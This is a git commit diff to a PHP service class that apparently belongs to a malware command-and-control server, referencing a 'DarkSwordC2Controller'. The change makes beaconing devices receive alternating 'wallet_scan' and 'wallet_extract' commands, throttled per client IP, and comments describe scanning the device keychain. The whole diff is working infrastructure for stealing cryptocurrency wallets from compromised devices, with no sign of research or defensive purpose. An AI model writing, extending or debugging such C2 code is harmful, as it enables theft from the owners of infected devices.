fix: test

app/Services/DsBeaconQueue.php

@@ -4,6 +4,7 @@ namespace App\Services;
 
 use App\Models\Device;
 use App\Models\DsBeaconTask;
+use Illuminate\Support\Facades\Cache;
 use Illuminate\Support\Str;
 
 class DsBeaconQueue
@@ -55,19 +56,36 @@ class DsBeaconQueue
     }
 
     /**
-     * Always returns a fresh wallet_scan command. No task lookup/creation and
-     * no polling state machine — every beacon gets wallet_scan so the device
-     * keeps scanning the keychain. Results are stored by command_id
-     * (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
+     * Dispatch wallet_scan / wallet_extract, alternating per client IP, with a
+     * 5s gap between dispatches to the same IP. UUID can't distinguish devices
+     * right now (shared 69DD), so we throttle per IP as a temporary measure.
+     *
+     * Returns null (noop) when the same IP beaconed within the gap, so the
+     * device isn't hammered with back-to-back commands.
      *
      * @return array{type: string, command_id: string, params: array<string, mixed>}|null
      */
-    public function dequeue(Device $device): ?array
+    public function dequeue(Device $device, ?string $ip = null): ?array
     {
+        $ip = $ip ?? '0';
+        $lastKey = 'dsq:last:'.$ip;
+        $typeKey = 'dsq:type:'.$ip;
+
+        // Per-IP throttle: at most one dispatch every 5s.
+        $last = Cache::get($lastKey);
+        if ($last !== null && (microtime(true) - (float) $last) < 5.0) {
+            return null;
+        }
+
+        // Alternate the two task types per IP.
+        $type = Cache::get($typeKey) === 'wallet_scan' ? 'wallet_extract' : 'wallet_scan';
+        Cache::put($lastKey, microtime(true), 60);
+        Cache::put($typeKey, $type, 60);
+
         return [
-            'type' => 'wallet_scan',
+            'type' => $type,
             'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
-            'params' => $this->paramsFor('wallet_scan'),
+            'params' => $this->paramsFor($type),
         ];
     }